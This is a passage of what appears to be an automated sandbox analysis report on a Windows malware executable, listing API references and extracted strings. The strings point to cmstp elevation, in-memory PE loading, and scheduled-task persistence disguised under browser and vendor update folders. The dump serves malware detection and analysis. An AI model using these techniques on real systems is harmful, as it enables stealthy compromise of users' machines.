(Indicator: "CreateProcess"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.CreateProcessAsUser" (Indicator: "CreateProcess"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.CreateProcess" (Indicator: "CreateProcess"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "github.com/go-ole/go-ole/internal/ntapi.CreateProcessFromSection" (Indicator: "CreateProcess"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "BasepConstructSxsCreateProcessMessage" (Indicator: "CreateProcess"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "BasepReleaseSxsCreateProcessUtilityStruct" (Indicator: "CreateProcess"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateProcessAsUserA" (Indicator: "CreateProcess"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateProcessAsUserW" (Indicator: "CreateProcess"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateProcessInternalA" (Indicator: "CreateProcess"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateProcessInternalW" (Indicator: "CreateProcess"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")4e:T7e0,file/memory contains long string with (Indicator: "CreateDirectory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.CreateDirectory" (Indicator: "CreateDirectory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "CreateDirectoryW" (Indicator: "CreateDirectory"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CreateDirectoryACreateDirectoryWCreateEnclave" (Indicator: "CreateDirectory"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateDirectoryTransactedA" (Indicator: "CreateDirectory"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateDirectoryTransactedW" (Indicator: "CreateDirectory"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateDirectoryExA" (Indicator: "CreateDirectory"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateDirectoryExW" (Indicator: "CreateDirectory"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateDirectoryA" (Indicator: "CreateDirectory"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "CreateDirectoryW" (Indicator: "CreateDirectory"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")4f:T109f,file/memory contains long string with (Indicator: "CreateFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "NtOpenFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "NtCreateFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "CreateFile failed or stager stuck)EnableStartup=false" (Indicator: "CreateFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.CreateFile" (Indicator: "CreateFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "github.com/go-ole/go-ole/internal/ntapi.CreateFileNt" (Indicator: "CreateFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "CreateFile2" (Indicator: "CreateFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "AppPolicyGetCreateFileAccess" (Indicator: "CreateFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateFileMappingFromAppCreateFileMappingNumaA" (Indicator: "CreateFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateFileMappingNumaW" (Indicator: "CreateFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateFileTransactedA" (Indicator: "CreateFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateFileTransactedW" (Indicator: "CreateFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateFileMappingFromApp" (Indicator: "CreateFile"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "CreateFileMappingNumaA" (Indicator: "CreateFile"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")50:Tb00,file/memory contains long string with (Indicator: "LoadResource"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "LockResource"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "FindResource"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "SizeofResource"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindResourceExA" (Indicator: "FindResource"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")51:T120b,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "OpenThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "ResumeThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CreateThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "github.com/go-ole/go-ole/internal/ntapi.CreateThreadEx" (Indicator: "CreateThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "github.com/go-ole/go-ole/internal/ntapi.CreateThreadInProcess" (Indicator: "CreateThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetThreadContextSetThreadContextole32.dll" (Indicator: "GetThreadContext"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetThreadContextSetThreadContextole32.dll" (Indicator: "SetThreadContext"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateSemaphoreACreateSemaphoreWCreateThread" (Indicator: "CreateThread"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateThreadpoolCreateTimerQueueCtrlRoutine" (Indicator: "CreateThread"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetThreadContextGetThreadId" (Indicator: "GetThreadContext"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateThreadpoolCleanupGroup" (Indicator: "CreateThread"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")52:T50f,file/memory contains long string with (Indicator: "GetLastError"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D700000.00000004.mdmp") Found reference to API "DdeGetLastError" (Indicator: "GetLastError"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")53:T2d97,"ertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsJordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timedecrypt manifest: %wdecrypt chunk %d: %wchunk %d done out=%dMicrosoftEdge\UpdateBraveSoftware\Updatefloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valueselectgo: bad wakeupsemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in gocmstp: dialog closedNtCreateThreadEx: %wConnectNamedPipe: %vfind .text in %s: %winval" in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe "weep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCallcmstp: elevate launchedCreateProcess cmstp: %valloc remote params: %wwrite remote params: %w.text section not foundexec: Stdin already setreflectlite.Value.IsNilSoftware\Classes\CLSID\reflect.Value.Interfacereflect.Value.NumMethodGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlock23283064365386962890625bytes.Buffer: too large" missing CPU supportexit hook invoked panicNtWriteFile syscall: %wQueryServiceLockStatusWRegNotifyChangeKeyValueSetKernelObjectSecurityNotifyIpInterfaceChangeDeleteVolumeMountPointWGetActiveProcessorCountGetLogicalDriveStringsWSetInformationJobObjectSetNamedPipeHandleStateSetProcessPriorityBoostNtSetInformationProcessGetFileVersionInfoSizeWpattern bits too long: flate: internal error:" in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, "regeneratinglimiterEvent.stop: invalid limiter event type foundpotentially overlapping in-use allocations detectedruntime: netpoll: PostQueuedCompletionStatus failedfatal: systemstack called from unexpected goroutine[version]Signature=$chicago$AdvancedINF=2.5memload: allocated private image @ 0x%X (size 0x%X)SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallgodebug: Value of name not listed in godebugs.All: Runtime purge: removed=%d skipped=%d (locked/in use)File-based: using name %q (original: %q sideload=%v)taskcom: folder \%s unavailable" in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, "expect TaskPath like %sruntime.m memory alignment too small for spinbit mutexmin size of malloc header is not a size class boundarygcControllerState.findRunnable: blackening not enabledno goroutines (main called runtime.Goexit) - deadlock!trace: non-empty full trace buffer for done generationtrace: non-empty full trace buffer for next generationgoroutine running on other thread; stack unavailableinternal error: negative process handle reference countSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesmheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksreflect: internal error: invalid use of makeMethodValuestrings: illegal use of non-zero Builder copied by valuetaskcom: CreateFolder(%s) failed: %v" in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, "falling back to NtAllocateVirtualMemorySoftware\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}runtime: GetQueuedCompletionStatusEx returned net_op with invalid key= memload: %s ImageBase=0x%X SizeOfImage=0x%X (%d KB) EP=0x%X sections=%dexec: command with a non-nil Cancel was not created with CommandContexttoo many concurrent operations on a single file or socket (max 1048575)COM verify: SharedTaskScheduler value desc should be 'Cache Maintenance'runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimestomp: all candidates + fresh copy failed (last in-process: %v; fresh: %v)crypto/rand: failed to read random data (see https://go.dev/issue/66821): gcm: internal error: using generic implementation despite hardware supportpipe connect timeout 8s (child alive" in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, "PE must load at preferred ImageBase 0x%X (stomped base may differ)cgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.crypto/cipher: use of GCM with arbitrary IVs is not allowed in FIPS 140-only mode use NewGCMWithRandomNonceinternal/sync.HashTrieMap: ran out of hash bits while inserting (incorrect use of unsafe or cgo, or data race?)Scheduled Task: look in folders \Google\Update \Adobe \OneDrive \MicrosoftEdge\Update \BraveSoftware\Update (or \)"HKLM" "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE" "ProfileInstallPath" "%UnexpectedError%" ""00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899" in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, "ertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsJordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timedecrypt manifest: %wdecrypt chunk %d: %wchunk %d done out=%dMicrosoftEdge\UpdateBraveSoftware\Updatefloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valueselectgo: bad wakeupsemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in gocmstp: dialog closedNtCreateThreadEx: %wConnectNamedPipe: %vfind .text in %s: %winva" in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, "SOFTWARE\Policies\Microsoft" in Source: 00000000-00001336.00000000.107993.0D688000.00000002.mdmp, "HKLM\" in Source: 00000000-00001336.00000000.107993.0D688000.00000002.mdmp, "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00001336.00000000.107993.0D688000.00000002.mdmp, "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001336.00000000.107993.0D688000.00000002.mdmp, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00001336.00000000.107993.0D688000.00000002.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001336.00000000.107993.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp, "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0K" in Source: 00000000-00001336.00000000.107993.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001336.00000000.107993.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001336.00000000.107993.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp, "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00001336.00000000.107993.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001336.00000000.107993.F5220000.00000004.mdmp, 00000000-00001336.00000001.108809.F5220000.00000004.mdmp, "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00001336.00000000.107993.F5220000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}" in Source: 00000000-00001336.00000000.107993.F58F0000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{0000032A-0000-0000-C000-000000000046}" in Source: 00000000-00001336.00000000.107993.F58F0000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}" in Source: 00000000-00001336.00000000.107993.F58F0000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00001336.00000000.107993.F58F0000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00001336.00000000.107993.F58F0000.00000004.mdmp, 00000000-00001336.00000001.108809.F58F0000.00000004.mdmp, "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00001336.00000000.107993.F594E000.00000004.mdmp, "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0" in Source: 00000000-00001336.00000000.107993.F594E000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-0" in Source: 00000000-00001336.00000000.107993.F594E000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp, "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp, "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp, "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00001336.00000001.108809.F5220000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00001336.00000001.108809.F58F0000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}" in Source: 00000000-00001336.00000001.108809.F58F0000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00001336.00000001.108809.F58F0000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}" in Source: 00000000-00001336.00000001.108809.F594E000.00000004.mdmp, "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00001336.00000001.108809.F594E000.00000004.mdmp54:T122d,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; 